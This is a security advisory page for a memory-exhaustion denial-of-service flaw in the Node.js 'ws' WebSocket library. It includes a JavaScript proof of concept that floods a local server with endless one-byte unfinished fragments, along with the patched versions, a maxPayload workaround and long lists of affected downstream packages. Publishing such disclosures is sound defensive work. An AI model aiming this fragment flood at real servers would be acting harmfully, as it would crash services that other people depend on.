ws: Memory exhaustion DoS from tiny fragments and data chunks
Description
Impact
A high volume of exceptionally small fragments and data chunks can be sent by a peer, with modest network traffic, to force the remote peer into allocating and holding structural wrappers that consume far more memory than the default documented message-size limit, leading to process termination due to OOM.
Proof of concept
import { WebSocket, WebSocketServer } from 'ws';
const wss = new WebSocketServer({ port: 0 }, function () {
const data = Buffer.alloc(1);
const options = { fin: false };
const { port } = wss.address();
const ws = new WebSocket(`ws://localhost:${port}`);
ws.on('open', function () {
(function send() {
ws.send(data, options, function (err) {
if (err) return;
send();
});
})();
});
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`client close - code: ${code} reason: ${reason.toString()}`);
});
});
wss.on('connection', function (ws) {
ws.on('error', console.error);
ws.on('close', function (code, reason) {
console.log(`server close - code: ${code} reason: ${reason.toString()}`);
});
});
Patches
The vulnerability was fixed in ws@8.21.0 (https://github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94) and backported to ws@7.5.11 (https://github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8), ws@6.2.4 (https://github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7), and ws@5.2.5 (https://github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53).
Workarounds
In vulnerable versions, the issue can be mitigated by lowering the value of the maxPayload option if possible.
Credits
The vulnerability was responsibly disclosed and fixed by Nadav Magier.
AI Insight
LLM-synthesized narrative grounded in this CVE's description and references.
Affected packages
Versions sourced from the GitHub Security Advisory.
| Package | Affected versions | Patched versions |
|---|---|---|
wsnpm | >= 1.1.0, < 5.2.5 | 5.2.5 |
wsnpm | >= 6.0.0, < 6.2.4 | 6.2.4 |
wsnpm | >= 7.0.0, < 7.5.11 | 7.5.11 |
wsnpm | >= 8.0.0, < 8.21.0 | 8.21.0 |
Affected products
57- Range: >= 8.0.0, < 8.21.0
- osv-coords56 versionspkg:apk/chainguard/arangodb-3.11pkg:apk/chainguard/arangodb-3.12pkg:apk/chainguard/argo-workflows-ui-3.6pkg:apk/chainguard/code-serverpkg:apk/chainguard/drupal-11.3pkg:apk/chainguard/gemini-clipkg:apk/chainguard/homepagepkg:apk/chainguard/katib-earlystoppingpkg:apk/chainguard/katib-suggestion-hyperbandpkg:apk/chainguard/katib-suggestion-hyperoptpkg:apk/chainguard/katib-suggestion-nas-dartspkg:apk/chainguard/katib-suggestion-nas-enaspkg:apk/chainguard/katib-suggestion-optuna-enaspkg:apk/chainguard/katib-suggestion-pbt-enaspkg:apk/chainguard/katib-suggestion-skopt-enaspkg:apk/chainguard/katib-tfevent-metricscollectorpkg:apk/chainguard/kibana-8.19pkg:apk/chainguard/kibana-8.19-bitnamipkg:apk/chainguard/kibana-8.19-iamguardedpkg:apk/chainguard/kibana-9.4pkg:apk/chainguard/kibana-9.4-iamguardedpkg:apk/chainguard/langfuse-3-workerpkg:apk/chainguard/langfuse-fips-3-workerpkg:apk/chainguard/opensearch-dashboards-2-dashboards-reportingpkg:apk/chainguard/opensearch-dashboards-2-fips-dashboards-reportingpkg:apk/chainguard/opensearch-dashboards-3-dashboards-observabilitypkg:apk/chainguard/opensearch-dashboards-3-dashboards-reportingpkg:apk/chainguard/opensearch-dashboards-3-fips-dashboards-observabilitypkg:apk/chainguard/opensearch-dashboards-3-fips-dashboards-reportingpkg:apk/chainguard/py3.10-jupyterlabpkg:apk/chainguard/py3.11-jupyterlabpkg:apk/chainguard/py3.12-jupyterlabpkg:apk/chainguard/py3.13-jupyterlabpkg:apk/chainguard/tensorflow-cpu-jupyterpkg:apk/chainguard/wazuh-dashboard-dashboards-reportingpkg:apk/chainguard/wazuh-dashboard-dashboards-reporting-fipspkg:apk/chainguard/wazuh-dashboard-pluginspkg:apk/wolfi/code-serverpkg:apk/wolfi/katib-earlystoppingpkg:apk/wolfi/katib-suggestion-hyperbandpkg:apk/wolfi/katib-suggestion-hyperoptpkg:apk/wolfi/katib-suggestion-nas-dartspkg:apk/wolfi/katib-suggestion-nas-enaspkg:apk/wolfi/katib-suggestion-optuna-enaspkg:apk/wolfi/katib-suggestion-pbt-enaspkg:apk/wolfi/katib-suggestion-skopt-enaspkg:apk/wolfi/katib-tfevent-metricscollectorpkg:apk/wolfi/langfuse-3-workerpkg:apk/wolfi/opensearch-dashboards-3-dashboards-observabilitypkg:apk/wolfi/opensearch-dashboards-3-dashboards-reportingpkg:apk/wolfi/py3.10-jupyterlabpkg:apk/wolfi/py3.11-jupyterlabpkg:apk/wolfi/py3.12-jupyterlabpkg:apk/wolfi/py3.13-jupyterlabpkg:apk/wolfi/tensorflow-cpu-jupyterpkg:rpm/opensuse/python-nbclassic&distro=openSUSE%20Tumbleweed
< 3.11.14.4-r12+ 55 more
- (no CPE)range: < 3.11.14.4-r12
- (no CPE)range: < 3.12.9.4-r11
- (no CPE)range: < 3.6.19-r7
- (no CPE)range: < 4.124.2-r0
- (no CPE)range: < 11.3.13-r3
- (no CPE)range: < 0.49.0-r4
- (no CPE)range: < 1.13.2-r2
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 8.19.17-r1
- (no CPE)range: < 8.19.17-r1
- (no CPE)range: < 8.19.17-r1
- (no CPE)range: < 9.4.2-r4
- (no CPE)range: < 9.4.2-r4
- (no CPE)range: < 3.188.0-r0
- (no CPE)range: < 3.188.0-r0
- (no CPE)range: < 2.19.5-r15
- (no CPE)range: < 2.19.5-r16
- (no CPE)range: < 3.7.0-r2
- (no CPE)range: < 3.7.0-r2
- (no CPE)range: < 3.7.0-r1
- (no CPE)range: < 3.7.0-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 2.21.0-r8
- (no CPE)range: < 4.14.5-r7
- (no CPE)range: < 4.14.5-r7
- (no CPE)range: < 4.14.5-r7
- (no CPE)range: < 4.124.2-r0
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 0.19.0-r31
- (no CPE)range: < 3.188.0-r0
- (no CPE)range: < 3.7.0-r2
- (no CPE)range: < 3.7.0-r2
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 4.6.1-r1
- (no CPE)range: < 2.21.0-r8
- (no CPE)range: < 1.3.3-2.1
Patches
Vulnerability mechanics
References
6- github.com/advisories/GHSA-96hv-2xvq-fx4pghsaADVISORY
- github.com/websockets/ws/commit/86d3e8a5fb0246ed373860c5fbb0de88824a27f7ghsaWEB
- github.com/websockets/ws/commit/b5372ac67bb97a773727b8e9f5035a8123556d53ghsaWEB
- github.com/websockets/ws/commit/bca91adf15677e47dbe4f959653452727be28b94ghsaWEB
- github.com/websockets/ws/commit/fd36cd864fcdf62a08273a99e19a7d975401fee8ghsaWEB
- github.com/websockets/ws/security/advisories/GHSA-96hv-2xvq-fx4pghsaWEB
News mentions
0No linked articles in our index yet.